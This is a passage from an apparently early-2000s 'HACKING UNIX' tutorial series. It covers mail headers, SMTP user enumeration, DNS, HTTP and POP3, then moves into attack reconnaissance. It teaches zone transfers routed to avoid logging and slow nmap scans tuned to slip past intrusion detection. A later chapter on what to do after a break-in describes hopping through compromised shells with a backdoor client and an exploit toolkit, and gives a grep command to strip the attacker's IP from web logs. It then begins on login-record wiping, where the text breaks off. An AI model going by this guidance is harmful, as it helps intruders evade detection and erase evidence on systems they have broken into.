<type message>
.
You can make the sender address anyone you like, only your IP address is
still known. When i receive the message it looks like this (with all
headers):
--------
From [email]me@wonderland.net[/email] Tue Sep 25 08:21:07 2001
Return-Path: <[email]me@wonderland.net[/email]>
Received: from smtp3.hushmail.com (smtp3.hushmail.com [64.40.111.33])
by pl1.hushmail.com (8.9.3/8.9.3) with ESMTP id IAA23863
for <[email]duho02b3e22238@pl1.hushmail.com[/email]>; Tue, 25 Sep 2001 08:21:07
-0700
From: [email]me@wonderland.net[/email]
Received: from stealth.duho (e39087.upc-e.chello.nl [213.93.39.87])
by smtp3.hushmail.com (Postfix) with ESMTP id 124E1F010
for <[email]duho@my.security.nl[/email]>; Tue, 25 Sep 2001 08:21:05 -0700 (PDT)
Received: from x (localhost [127.0.0.1])
by stealth.duho (8.11.6/8.11.4) with SMTP id f8PFFqN10598
for [email]duho@my.security.nl[/email]; Tue, 25 Sep 2001 17:16:16 +0200
Date: Tue, 25 Sep 2001 17:16:16 +0200
Message-Id: <[email]200109251516.f8PFFqN10598@stealth.duho[/email]>
Subject: Haia
To: undisclosed-recipients:;
Status: RO
How's life?
Me.
--------
You see, each mailserver that has been used on the path prepends the
information header to the complete message. So you can track down which
host has sent the message:
Received: from stealth.duho (e39087.upc-e.chello.nl [213.93.39.87])
When using a normal mailer your mailer could put a line X-Mailer which
reveals the mailer program and version which was used.. This is important
information if you want to hack the user which sent you the message, there
must be a bug in the software (especially if microsoft mailers are used).
:
---------
From [email]XT@asdf.com[/email] Tue Sep 25 09:46:14 2001
Return-Path: <[email]me@wonderland.net[/email]>
Received: from smtp3.hushmail.com (smtp3.hushmail.com [64.40.111.33])
by pl1.hushmail.com (8.9.3/8.9.3) with ESMTP id JAA26305
for <[email]duho02b3e22238@pl1.hushmail.com[/email]>; Tue, 25 Sep 2001 09:46:14
-0700
Received: from stealth.duho (e39087.upc-e.chello.nl [213.93.39.87])
by smtp3.hushmail.com (Postfix) with ESMTP id E374EF007
for <[email]duho@my.security.nl[/email]>; Tue, 25 Sep 2001 09:46:12 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
by stealth.duho (8.11.6/8.11.4) with ESMTP id f8PGgBa11137
for <[email]duho@my.security.nl[/email]>; Tue, 25 Sep 2001 18:42:11 +0200
Date: Tue, 25 Sep 2001 18:42:11 +0200 (CEST)
From: hadf <[email]me@wonderland.net[/email]>
X-X-Sender: <[email]user@stealth.duho[/email]>
To: <[email]duho@my.security.nl[/email]>
Subject: asdf
Message-ID: <[email]Pine.LNX.4.33.0109251842050.10885-100000@stealth.duho[/email]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
hellow
---------
Okay, Pine doesn't include a X-Mailer in the header, but i can still seen
that i was using Pine 4.33:
Message-ID: <[email]Pine.LNX.4.33.0109251842050.10885-100000@stealth.duho[/email]>
And i think the 'LNX' means linux.
There is one more interesting feature in SMTP servers. Some older
messengers may reveal a persons, mine does not (user XT exists on my
system but this version of sendmail lies that he doesn't):
----------
bash-2.05$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 stealth.duho ESMTP Sendmail 8.11.6/8.11.4; Tue, 25 Sep 2001 18:47:46
+0200
vrfy XT
550 5.1.1 XT... User unknown
VRFY root
250 2.1.5 <[email]root@stealth.duho[/email]>
----------
Okay, it didn't lie that user root exists, but that's because nobody
believes that it doesn't.
EXPN is also something like that.. if there is a mailinglist on the server
it should (by the standard) reveal the contents of its users.
I think there's not much more to say about sendmail except that it has a
past of many security problems.
4.5 DNS - Domain Name System
Well, I believe I told you something about name<->address resolution, now
I will cover the major aspects on DNS.
A hostname consists of a several names seperated with dots, like:
duho.cjb.net. or [url]www.duho.cjb.net.[/url]
The root of the tree is a '.' (dot), the big-ending name is a top-level
domain like 'net', 'org', 'com', 'country' (like '.uk'). These days the
top-level domains '.net', '.org', '.com', are in the hands of corporate
authorities. You can buy (register) a second level domainname from them
(if not yet registered). In far history these top-level domains were in
the hands of the government (government has .mil, .gov). Country's have
their own top-level domains like 'nl', 'uk', 'us', 'de', 'be' etc. You can
register domain names from the affected authorities too.
When you bought a second level domain, you need to configure an
authoritive name server. You can have more than one nameserver to split
the load... you have atleast a primary or master nameserver and possibly
some slaves. At the primary nameserver you configure the third-level
domains like 'academy' or 'students' or 'hq', and there under you can have
even more etc... you can also have seperate nameservers for each third,
fourth etc. domains you have in your domain.
You just have to configure your zone files on the primary name servers,
and slaves can do zone transfers to assist the primary nameservers by
taking some of the load.
A configuration file I could use with BIND 9 (nameserver) looks like this
(but there are many diffent possibilities to create it):
---- /var/named/etc/named.conf ----
options {
directory "/var/named" ;
allow-transfer { } ;
allow-query { 10.0.0.0/24; 127.0.0.0/24; } ;
};
zone "duho.org" in {
type master;
file "db.duho.org";
};
zone "87.93.39.213.in-addr.arpa" in {
type master;
file "db.213.93.39.87";
};
zone "0.0.127.in-addr.arpa" in {
type master;
file "db.127.0.0";
};
zone "." in {
type hint;
file "db.cache";
};
---- EOF ----
BIND doesn't come with default settings, so this why many admins configure
their DNS servers securely. You see in my config file:
----
options {
directory "/var/named" ;
allow-transfer { 127.0.0.0/24; } ;
allow-query { 10.0.0.0/24; 127.0.0.0/24; } ;
};
----
I can only do a zone transfer from localhost (all interfaces on my local
host). But nobody else can. Why i would want to secure zone transfers is
explained in detail a few pages further.
The other directives in named.conf tell BIND where my zone files are.
In reality the config file and the zone files are in /var/named... which
means named.conf at my place is in the /var/named/var/named/ directory,
but before BIND loads it gets chroot()ed... but this feature is out of the
scope of this part of the tutorial, maybe some other time ;-).
The in-addr.arpa directives (as showed below) are for reverse-resolution.
Which means that you can lookup an address and find the hostname.
This is also why the address is in reverse order (87.93.39.213 instead of
213.93.39.87) because the domain name is also big-ending.
zone "87.93.39.213.in-addr.arpa" in {
type master;
file "db.213.93.39.87";
};
The root nameservers control the in-addr.arpa zone and are able to do
these reverse lookups (try 'host -t ns in-addr.arpa' for looking up it's
nameservers).
Now let me show you a typical zone file for duho.cjb.net:
---- /var/named/db.duho.cjb.net ----
$TTL 3h
duho.cjb.net. IN SOA ns.duho.org. root.duho.org. (
1
3h
1h
1w
1h )
duho.cjb.net IN NS ns.duho.org.
duho.cjb.net IN MX 0 mail.duho.cjb.net.
ns.duho.org. IN A 213.93.39.87
[url]www.duho.cjb.net[/url] IN A 213.93.39.87
mail.duho.cjb.net IN A 213.93.39.87
----
duho.cjb.net nameserver:
----
duho.cjb.net IN NS ns.duho.org.
----
'IN' means INTERNET zone, NS is the host type, and 'ns.duho.cjb.net' is
it's authoritive nameserver. the address for 'ns.duho.org' is in the
db.duho.org file. Where the host type is 'A' it is a non-special
hostname address.
There have been found some bugs in some BIND 8 and below nameservers which
are exploitable and can result in root access. There are also attacks
known like DNS poisoning to try to manipulate DNS cache which results in
nameservers resolving names to wrong addresses. This causes users of the
DNS servers to visit the wrong sites. Hackers with bad intentions could
use DNS poisoning to set-up a fake hotmail site for example to trick users
into sending passwords to them.
But generally I think BIND is pretty secure after all, and BIND
development with respect to security is progressing. BIND 9 can use
digital signatures with TSIG among other things to make it hard to poison
DNS traffic. Zone transfers are explained in one of the last chapters of
this paper.
4.6 HTTP - Hyper Text Transfer Protocol
The most important application protocol on the internet must be HTTP.
Users of HTTP have a user agent called a webbrowser like netscape. To
visit a website the user points the webbrowser to the host and optionally
the absolute path identifier on the target host. Combining the path and
the host the user forms an URL (Universal Resource Location). The
webbrowser can sent the absolute URL to a proxy or it can connect to the
host on port 80 (if no port is defined in the URL) and issue the REQUEST.
If no absolute path is given the webbrowser assumes the path is /
(DocumentRoot). A typical request would look like this:
GET / HTTP/1.0
GET is the request method.
/ is the absolute path (/index.html would work most of the time too)
HTTP/1.0 is HTTP protocol version 1.0.. we have 0.9 (simple request) and
HTTP/1.1 and others. I haven't studied the HTTP/1.0 specication.
HTTP uses MIME-style headers to indicate character set, encoding
types, media types, user agent information, HTTP version, server
information, date and time and status code.
You can imagine that if you request the download for a html page your
browser wants to know how to handle it. Well, when the request has been
performed the HTTP server returns the page along with the HTTP header. The
header gives the status code, the HTTP server version, and the content
type (and probably some more). The content type for a html page is
html/text. Look at this header:
-----
HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:21:56 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Connection: close
Content-Type: text/html
<BODY>
-----
You see, i forgot the connection type and date.
However when i download a tarred and gzipped file from my server, the
header looks like this:
-----
HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:24:25 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Last-Modified: Fri, 28 Sep 2001 08:32:47 GMT
ETag: "363d3-267b-3bb435af"
Accept-Ranges: bytes
Content-Length: 9851
Connection: close
Content-Type: application/x-tar
Content-Encoding: x-gzip
-----
I think anything that are not images or HTML files are treated as binary
and would trigger your browser to start a download process.
The server name is particularly interesting to us ofcourse. But i also
want to explain the error codes and then i will explain some other HTTP
methods and use netcat or telnet as user agent.
Status codes starting with:
1xx : Informational
2xx : Successful
3xx : Redirection
4xx : Client error
5xx : Server error
For more information see RFC 1945.
Other methods but GET are POST and HEAD and PUT.
The HEAD command retrieves only the header of the HTTP server:
HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:30:41 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Connection: close
Content-Type: text/html
We will get to the POST method later in this tutorial.
Let's do a simple HTTP request using telnet or netcat:
-----
bash# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:32:52 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Connection: close
Content-Type: text/html
<html>
<head>
<title>DuHo</title>
</head>
<body bgcolor="#ffffff">
<P><U>Welcome to the DuHo webserver</U></P>
<P>DuHo Information Team maintains projects dealing with hacking, cracking
and other computing issues.<br>The projects result in papers, program
sources and tutorials which are publicly released on these pages.
<P>
<P>We have updated or released our latest file on <b><a
href="pub/projects/NBCODE/">Monday 01 October 2001</a></b></P>
</body>
</html>
Connection closed by foreign host.
bash#
-----
You see, this was easy! For downloading a binary file however, you should
use netcat instead of telnet or the content will be screwed up.
Requesting a page via a proxy, you just need to connect to the proxy and
type the full URL instead of the absolute path like this:
GET [url]http://duho.cjb.net/[/url] HTTP/1.0
4.7 POP3 - Post Office Protocol version 3
POP3 is a popular service for retrieving mail. Just like most other
protocols i have discussed, we can use a simple full-duplex connection and
issue commands ourselves. Once again it is very important to understand
the application protocols.
This time i'm just gonna show you one example, that should be enough to
get started.
-----
bash-2.05# telnet pop.chello.nl 110
Trying 213.46.243.2...
Connected to mail.chello.nl.
Escape character is '^]'.
+OK InterMail POP3 server ready.
USER mylogin
+OK please send PASS command
PASS YImK5sh;W5
+OK mylogin is welcome here
LIST
+OK 1159 messages
1 3309
2 3985
3 4625
4 1744
5 31202
6 1743
7 1762
8 11318
9 1744
~thousands more spam messages
1159 1009
.
RETR 1159
+OK 1009 octets
Return-Path: <>
From: admin
Subject: ATTENTION: Bounced Message Notification, Total Bytes!!
Date: Wed, 19 Sep 2001 22:15:47 +0200
Message-ID: <[email]169943-2001-0919-221547-29195@amsmss12.chello.nl[/email]>
A message was sent to you that was returned to the sender(bounced)
because it would have caused your mailbox quota to be exceeded.
The following is the reason that the message was over quota:
Quota Type: Total Bytes
Quota Available: 0
Total Quota: 10485760
The following is the information on the message that was bounced:
Sender: <[email]cypherpunks-errors@toad.com[/email]>
Subject: [No Subject]
Size: 4692
Message ID: <6717458.1000924503125.JavaMail.tester@hvwww8>
Date: Wed Sep 19 22:15:20 2001
Reply-To: [No Reply-To]
To fix this problem, delete some messages from your mailbox, and contact
the sender to resend the message.
If the size of the message is too big, contact the sender to reduce the
size of the message and resend the message.
.
-----
I don't use this mailbox coz it is overspammed as you see. I never
published this email address anywhere, and none of my friends or enemy's
even know about it.. so ask my ISP about selling their own email addresses
to spammers :).
Another important command for POP3 would be DELE:
DELE <message number>
if i wanted to remove the message i just read in my mailbox:
-----
DELE 1159
+OK
-----
The usage of the POP3 protocol can be looked up using the HELP command
once you connect to the POP3 server of choice (TCP port 110).
5. OSI (network protocols - a deeper cut)
Now i told you about network-, transport- and application protocols. To
put it all together, here is the OSI Model:
|--------------------------------
| Application Layer |
|--------------------------------
| Presentation Layer |
|--------------------------------
| Session Layer) |
|--------------------------------
| Transport Layer |
|--------------------------------
| Network Layer |
|--------------------------------
| Data-Link Layer |
|--------------------------------
| Physical Layer |
|--------------------------------
5.1 The Application Layer
The application layer is the layer where two applications can talk with
each other in their protocol standard without having to know how the lower
layers have build the communication.
5.2 The Presentation Layer
The presentation layer interprets several data formats. These formats are
used for purposes like data compression, data encoding or encryption
layer etcetera. You should recognize this layer is being used in some of
the well-known application protocols (with the application service
depending on it) for communication.
5.3 Session layer
The session layer has specific session tasks during a connection with
another computer. The tasks are dependent on the application ofcourse.
These tasks may be; download resume function or login process etcetera.
5.4 Transport layer
The primary task of the transfer layer is to make sure the packets can
travel through all networks, independent of the maximum size of packets
allowed on particular networks and that a packet is rebuilt correctly at
the destination. Some networks may have a MTU (Maximum
Transmission Unit) of 1500 where others have lower or higher capacities.
Packets are numbered so that they can be reconstructed at the end in the
correct sequence (you will hear about sequence numbers alot more so
be aware).
{
For example; if you have to deliver 3 packets (1,2,3) and you sent them to a
destination, there is no guarantee that the packets will arrive in the
'1,2,3' sequence.. so packets are numbered so they can be reconstructed on
the destination.
}
There are more details involved depending on the type of transfer protocol
used (TCP or UDP or others?).
5.5 The Network layer
The network layer supports the transport layer. Packets that are
constructed by the transport layer are routed on the network by the
network layer. The network layer is the mail delivery guy of the packets.
{
The transfer layer of the receiving site knows how many packets to
expect.
If a certain packet is still not there after a timeout it will ask the
sender to send that packet again.
}
5.6 Data-Link layer
The data-link layer is often built into the networking hardware device. It
is responsible for reliable communication on the physical network layer.
{
(Physical network layers, just like the Network Layer, have no idea what
they are sending. They just do... So we need a higher level layer to keep
track of the information itself...)
}
The layer has to deal with physical addressing, error messages on the
network, sequence of dataframes and regulating the stream of data (flow
control).
The data-link layer can be split into sublayers; MAC (Media Access
Control) and LLC (Logical Link Layer). MAC manages protocol access to the
physical layer. LLC provides the Network Layer two modes: The
connection-oriented and the connectionless mode.
The connection-oriented mode offers a more reliable connection.
5.7 The Physical layer
The physical layer involves physical aspects (typical to the hardware
used) like voltages, voltage changes, speeds, maximum transmission
distances, connectors and anything involving that particular kind of
network.
{
Ethernet, IEEE 802.3, 100BaseT are examples of such a physical layer.
}
6. Back to system profiling
Now that you should have a basic understanding on networking on the
internet, I'll get back on system profiling.
6.1 The importance of system profiling
We can simply try to find which services are running, and have a fast idea
of how to exploit it ofcourse. But in these days many admins run firewalls
and IDS which try to detect people that 'brute force' the search for
vulnerabilities.
{
For example, there are vulnerability scanners around, these scanners check
for known vulnerabilities in CGI scripts, known exploits etc.
}
Such tools should not be used by crackers or hackers (whatever you wanna
call it). They are used by admins to check their security.
Using such tools will not help much. They will scan your target without
requiring a user to know how it scans. Especially IDSs will detect such an
attack immediately. Sometimes triggering a ban on your host so you won't
have a chance anymore.
Using such tools is script kiddie behaviour. It is the same as having your
own set of tools and exploits and just try out everything you have until
you get a little wiser.
In this chapter I will come up with some examples which hopefully give you
an idea of how to approach your target. You should understand that
possibilities are endless. Any information about the target, it's users,
its admins are usefull to profile a system. After you have an idea of
what you are dealing with you will be able to set up a discrete and
hopefully undetected attack in a later stage.
6.2 "Planning"
Here's what I think the most general sequence of steps to system
profiling:
- Available Information
- Information retrieval
- Identifying possible weaknesses
This is the most general planning I can come up with.
6.2.1 Available Information
For finding public information I think these are the steps to take:
- Find information.
- Write down all interesting points
- Track down every point
- Start over
To clear this up, here's an EXAMPLE:
{
- I found a website I want to hack.
- I dig through the whole website and write down any interesting
information
- One of the things I found was the webmasters mail address. I found it by
simply typing in an unexisting page and it said: The request page was not
found on this server. If you think this was due to a deadlink on this site
please make a report: [email]webmaster@corporation.com[/email]
{
Ahah, i could have guessed this email address myself too
}
- After I wrote down every interesting point of information available on
their website I begin to dig some more information on this website.
- I search for the email address on several websites and wrote down
everything that seemed important
- The most important thing I found was his homepage where he said 'To all
my friends: my email address '[email]john-the-ripper@university.edu[/email]' has changed
because i have a job at 'Company', the new one is: '[email]admin@company.com[/email]'.
- Hehe, I write down all interesting points he made on his homepage
- I search for the [email]john-the-ripper@university.edu[/email] and a CV (Curriculum
Vitae)
- I found his curriculum vitae and it says he has experience with Linux
and PHP/MySQL and he is a good database administrator.
}
That's a nice example of one entry in the system profiling stage. Use your
imagination and seek any information you can get! An excellent site on
become a master information seeker is +fravia's searchlores sites (lot's
of interesting essays): [url]http://www.searchlores.org/[/url]
6.2.2 Active Server-oriented Information probing
The publicly available information that you have found helps you to choose
the right ways to acquire more information on the server, avoiding probes
that are irrelevant which might trigger alarms.
{
Though the knowledge of the former step is more convenient during the
actual attack stage. You have found alot publicly available information
that you could not have found during the server probes in this
stage.
}
In this stage we're going to visit some services that might exist on the
remote server.
6.2.2.1 PING
First we want to know if there is a firewall in place. What I have
experienced is that alot of firewalled hosts block ICMP packets.
{
ICMP (Internet Control Message Protocol) is often used to test for network
problems. One feature of ICMP is the ICMP ECHO REQUEST, or a more popular
word; ping. When you sent an ICMP ECHO REQUEST to a server that doesn't
block ICMP packets, the host (if existent) will reply with the ICMP ECHO
REPLY.
}
Because a PING will never be seen as an attack probe, we can start to sent
a PING to the target server (if we are definately sure it is online). If
the system does not respond then it has a firewall in place. It is very
likely that any scan probes are logged too. We now know we should be very
careful in scanning the target.
{
NOTE:
Don't think there cannot be a firewall there if ping is not
blocked!
}
The next thing we could do is lookup the hostname(s)... a host can have
several names, and names always contain information.
{
Hostnames are aliases for IP addresses to make it easier for users to
remember them. In practice you will see the difference between
administratively chosen names and publicly chosen names.
For example, my IP address is 213.93.39.87. My ISP, (Internet Service
Provider) Chello Broadband has given this IP address a name for
administrative purposes; e39087.upc-e.chello.nl. A quick guess; I think
e is the B network class I'm located in, 39087 is the exact IP (39.87) i
am within the class B network. upc-e says that i'm in the 213.93 area
again, and chello.nl speaks for itself.
Maybe they run network management software for these cable modems that
makes this kind of addressing important?
I publicly chosen my 'duho.cjb.net' hostname so that it is easy to
remember.
}
If you don't understand the hostname code (the administrative one) you
might understand it when you have a list of hostnames that are existent in
that domain.
6.2.2.2 DNS & Zone Transfers
We can try to do a DNS zone transfer, which will be better than to scan
for hosts that are online (grab an IP range and do a lookup for all of them).
{
DNS is the global internet database that exists of millions of
nameservers (Nameservers all have a database with hostnames associated to
their IP address). Nameservers are 'queried' through their service on TCP
port address 53.
}
We can do this with the program 'host' in linux or unix:
host -t ns company.be
{
-t = type
ns = type: NameServer
company.be = the domain where we want the nameserver address from
}
Now you will get something like this as output:
company.be name server ns01.company.be
company.be name server ns02.company.be
company.be name server ns1.telekabel.be
I see the telekabel thing.... i think it's best to query that one first.
The reason is that it might avoid that our query is logged at company.be
itself, which might be more suspicous about such things.
{
NOTE ALSO that not all nameservers allow zone transfers for security
reasons!
}
So do this at every single nameserver until one allows you to do a DNS
zonetransfer:
# host -l company.be ns1.telekabel.be
{
-l = list (zone transfer)
company.be = the domain we want the listing of
ns1.telekabel.be = one of company.be's primary nameservers
}
Using domain server:
Name: ns1.telekabel.be Address:
100.100.100.100
Aliases:
Server failed: Query refused
> This server won't allow us to do a DNS zone transfer :(
# host -l company.be ns01.company.be // (trying the next nameserver
Using domain server:
Name: ns01.company.be
Address: 123.123.123.123
Aliases:
Server failed: Query refused
> Damn, another one secured
# host -l company.be ns02.company.be
Using domain server:
Name ns02.company.be
Address: 123.123.123.124
Aliases:
cache.company.be has address 123.123.100.12
games.company.be has address 123.123.132.23
[url]www.company.be[/url] has address 123.123.100.2
office.company.be has address 123.123.123.231
router1.company.be has address 123.123.100.1
ftp.company.be has address 123.123.100.2
~etc.
BINGO! DNS zone transfer allowed :)).
To try more verbose entry's use -v with it and if you're lucky you might
get even more information by adding the '-t any' option. Like this:
# host -l -v -t any company.be <nameserver>
Be careful with zone transfers, they might look suspicious. But when
zone transfers are enabled this says alot about the (stupid) admins
perhaps?
6.2.2.3 WHOIS
The next thing is to gather information on the domain using whois:
whois company.be
There you will retrieve information about the organisation and the admins.
6.2.2.4 Scanning Services
To find out which services are running we can just start to scan the
system in default mode. But this is not a very stealth way.
If you found out that the system filters ICMP then we are almost certain
that the system has a firewall. But it is also possible that the ISP or
any router between you and the victim is blocking ICMP (maybe to stand up
against some Denial of Service types like pingflood).
If the system has a firewall we must be very very careful with scanning
the service. With all the information you have found so far, you can
possibly guess what kind of operating system it is and what services it is
likely to deliver. So we scan only the ports that we think might be open.
But we don't scan for services like TELNET or SSH or another remote login.
Example:
I have done some little research on company.be's mailserver and I found
out that it's IP address has three hostnames: mail.company.be,
ftp.company.be and [url]www.company.be.[/url]
{
Meaning that it is likely that one computer is used for mail, ftp
and http, not very clever...
}
I'm going to check this information which suggests that the host has ports
25,110(or 143),80 open to the world. I found out that the admin's
expertise was MySQL/PHP/Apache/Linux.
{
Sometimes the webserver reveals if MySQL and PHP are installed.
Just retrieve the HTTP header and sometimes the webserver will
tell you if PHP and/or MySQL are supported. (sometimes the banner
just reveals the operating system too!)
=> see chapter 4.6 for this method
}
So possibly port 3306 (MySQL) is opened too. If it is filtered and the
rest is closed, it seems like they purposely filtered this port which may
mean that MySQL is only accessible to certain hosts. Though maybe MySQL
isn't that interesting, because even when it is open, it is unlikely
(atleast in the newer versions) that it will accept a connection from your
host. You will get an error like:
# telnet x.x.x.x 3306
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
Host 'x.x.x.x' is not allowed to connect to this MySQL serverConnection
closed by foreign host.
bash#
MySQL has an ACL, and my host is configured to only allow connections from
localhost.
{
Note that a firewall can DROP connections (filter) or BLOCK
connections. When a firewall BLOCKs connections, it is hard to
find out that a firewall is blocking the port or that the port
is simply not in use.
}
I conclude that I want to scan ports 21,25,80,110,3306
I have two choices for scans:
1. A full connect to each port with a long interval between each port.
2. A half-open or NULL-FIN-X-Mas scan with a long interval between each
port.
Advantages & Disadvantages of the methods:
1. A full connect definately makes a log entry. But, because I am visiting
just 5 ports and the visit intervals for each port are high, the firewall
or IDS will not see that I'm scanning the port, because I'm not using
'illegal' probes and the admin will not suspect anything because I scan
for services that are publicly accessible. So you should not -in
the case of using a full-connect-scan- scan for ports like SSH and TELNET.
Full connect scan is done like this in Nmap (with large interval):
# nmap -sT -T Polite -p21,25,80,110,3306 [url]www.company.be[/url]
{
-sT = TCP Connect() scan
-T = has to do with timing intervals between probes
-p = custom ports to scan (notation: n-n (range) n,n (list))
[url]www.company.be[/url] = target
}
2. A half-open or NULL-FIN-X-Mas scan with long interval between each
port.
You should be very careful with this if the host runs a firewall or IDS.
When there is no firewall it is the best method because it won't show up
in the normal logs (e.g. /var/log/messages ..).
Full-connect method is the best if there IS a firewall in place, it will
give the most accurate results.
{
Though remember: only scan for ports which like FTP and HTTP which
will not make the admin suspicious, but always make the interval
something like '-T polite', so that the admin doesn't see
connections to 3 services in a short time.
}
The NULL, FIN and X-Mas portscans give back wrong results when scanning
filtered ports (filtered ports will be marked as OPEN). Half-open (SYN)
are easily detected if there is a firewall which does logging of
suspicious network activity, or an IDS.
The Half-open, NULL, FIN and X-Mas techniques are all based on illegal
packets or illegal connections, and that's why you should be very polite
to the target when using them.
{
With illegal-connections I mean that the constructed packets are
not according to the standard.
Sometimes using techniques with illegal packets may even allow you
to scan through the firewall, but you can never be sure.
}
Half-open scan example:
# nmap -sS -T Polite -p 21,25,80,110,3306 [url]www.company.be[/url]
{
-sS = SYN scan (doesn't complete a connection)
-T Polite = Use a pretty large interval between connections
}
Others:
# nmap -sN -T Polite -p 21,25,80,110,3306 [url]www.company.be[/url]
{ NULLscan }
# nmap -sF -T Polite -p 21,25,80,110,3306 [url]www.company.be[/url]
{ FINscan }
# nmap -sX -T Polite -p 21,25,80,110,3306 [url]www.company.be[/url]
{ X-Mas scan }
If you want a very large interval use '-T Sneaky' or worse '-T Paranoid'.
See manpage for more info on Nmap. Or if you are dutch;
[url]http://duho.cjb.net/pub/hacking/NmapGids2.html[/url] for my Nmap Guide in dutch
language.
7. Last words
I think there is nothing more to say about system profiling. I only hope
you understand the importance and basic idea behind it. It was just an
introduction, I think now you know that you cannot be a good hacker if you
don't know all about the technologies involved in every aspect of hacking.
- HACKING UNIX -
CHAPTER THREE:
AFTER THE BREAK-IN
----------------------
******
INDEX:
0. - Forword
1. - Introduction
2. - Hiding your source location
2.1 Hopping the internet
3. - Wiping the logs
3.1 UTMP
3.2 WTMP
3.3 LASTLOG
3.4 Using logwipers
3.5 Other logs
3.6 Wiping the plaintext logs
4. - Installing rootkits
4.1 Trojaned binaries
4.2 Kernel Modules
5. - Installing backdoors
5.1 Basic local backdoors
5.2 Basic remote backdoors
5.3 Trojaned services
5.4 Advanced Backdooring
5.4.1 Covert channels
5.4.2 WebApplication backdoors
5.4.3 Others
6. - Spy!
6.1 Sniffers
6.2 Other stuff
7. - Final words
****************************************************************
0. Forword
This is the third part of the HACKING UNIX series already.
To try out stuff discussed in this tutor, try it out on your own system
and mail me your IP address ;^}.
I have written some code specially for this tutorial. But note that you
do not have to understand C programming to read this guide! Also, don't
over-estimate my programming skills, I'm still learning... However, feel
free to use my source code in your personal programs if you find it
usefull.
********
In no way am I nor any member of DuHo responsible for criminal activity
or damage caused by (ab)using this information.
********
1. Introduction
You have been up all sunday night, hacking this computer. Your wrists
hurt (you probably have some kind of Repetitive Strain Injuri). But you
won't give up, yet you hit some more keys on the keyboard. You hear your
harddisk copying another program file into memory, the LEDs on your modem
light up. You don't know what this program does exactly... all you know
it is somehow attacking your victim. While you're waiting, you light up
another sigarrette. At THAT moment your monitor prints a hopefull
message:
sh# _
You get this weird feeling in your stomach. It feels great, but at the
same time you're scared! You remember you read that things get logged,
and that hackers' remove their traces and make sure they can get back in.
But HOW?????
Don't worry kid, just follow me.
2. Hiding your source location
Okay, say you really got into that system, and you forgot to remove a few
(or all ;^)) traces of your visit. If the sysadmin finds you in the logs,
or through regular programs... you are nailed. Your inet address will
probably show up, and you'll be busted.
{
Though not many sysadmins check logs all day, believe me.
But, you got to be paranoid, and *atleast* make sure there is no
chance of detection through regular means.
}
But because you cannot always be sure you can manipulate logs (e.g. when
they use a seperated logging server) and they might have some additional
security tools that you aren't aware of, you got to make it really hard
for them to actually trace you back to your real home.
This can be done in various methods; wingates, dialups from tapped
phone-lines, internet cafes or connections from other shells you hacked.
2.1 Hopping the Internet
Connecting through hacked shells is like hopping through various hosts on
the net before connecting to the victim.
{
Warning: Even though your real source is hard to trace, remember
it's not the same as 'untracable', so do a good job at removing
your traces everytime: stay paranoid!
}
You need your toolbox on these shells you have access to, so you can
attack from there. For example:
------------ sample ------------
bash# ./backdoor-client owned.box.net 54232_
Password: t4Ab0$-aa
Have a nice time!
sh# cd '.. '_
sh# ls_
wu260.c clear.tgz
nmap.tgz rootkit.tgz
nc.tgz bsd-lkm.tgz
libnet.tgz linux-lkm.tgz
pwipe.c
sh# _
------------ ~etcetera ------------
If you have the tools you need on an owned box, you can do all the work
from there.
{
Note: It's best to have your complete toolbox (exploits etc.) on
the box you are about to use to attack from *before* you attack
another system because this saves lots of time uploading stuff
you gonna need.
}
3. Wiping the logs
Most machines you access and play with log many things. If you don't wipe
these traces, the admin will understand the system might be hacked and may
investigate further. The admin might be paranoid and reinstall the box
more secure so you lose access, or even the admin might do anything he
can to trace you back, including a call to the FBI!
If you are a little bit smart, you will remove traces you left
immediately after you got root and you install backdoors that bypass
logging for future access.
What NOT to do: Don't *delete* logfiles, most admins will find out.
You should also *only* remove the entriess that record *your* activities
on the system.
3.1 How to find them
Most *nix systems have a file called /etc/syslog.conf. Read it, it looks
something like this:
----------
auth,authpriv.* -/var/log/auth.log
*.*;auth,authpriv.none -/var/log/sys.log
daemon.* -/var/log/daemon.log
kern.* -/var/log/kern.log
mail.* -/var/log/mail.log
user.* -/var/log/user.log
*.emerg *
----------
Here you find the logs that are kept by syslog. That is; processes
that use the syslog daemon to log events.
{
Please note that I'm saying that this goes for the processes
that log through syslog daemon *ONLY*
}
They might also log themselves without using syslog, e.g. in case
syslogs' file format doesn't work for them.
For example, HTTP requests on Apache servers don't get logged through
syslog. And when you accessed the system through a CGI bug, these traces
are not removed when you only cleaned syslogs' logs.
Therefor you remove entry's from access_log like it's done with this
quick&dirty command:
----------
# grep -v '<src-ip-address>' /path/to/access_log > a && mv a /path/to/access_log
----------
or you could use my plaintext logwiper found in chapter 3.8.
But, there are a few special logfiles, and these are (e)special(ly)
dangerous ;^) (PHEAR!); utmp, wtmp and lastlog... and because of that I
have given each of them a seperate paragraph.
3.2 UTMP
You can see yourself in utmp, using:
----------
# who
root tty1 Jan 25 19:30
root tty2 Jan 25 19:31
root tty3 Jan 25 20:26
#
----------
We *need* to use a command like 'who' to extract output from the utmp
file. That is; it's not a plaintext file, it's binary and you cannot edit
it with your plaintext editor (PHEAR MORE!).
You need a special logwiper for that one, and we're going to use my
favorite logwiper for this job because I'm the one that's writing and
you're not.
Let me introduce; 'clear', written by van Hauser [thc].
Clear will be utilized in paragraph 3.5, but first a little more
background on the UTMP file, why it exists.
utmp contains the currently active (logged-in) users. Some programs use
this file to lookup these users, and find more info about them.
Some programs that depend on the utmp file are 'who', 'w' and they are
used frequently.
'w' gives long output; like the source IP address, user idle time, cpu
usage, what program he is currently running... etc.
3.3 WTMP
wtmp keeps all logins and logouts, in almost the same fileformat as utmp.
The command 'last' uses the wtmp file to see which user logged in when,
which tty he used, and from where he was connected
It looks like this:
----------
# last
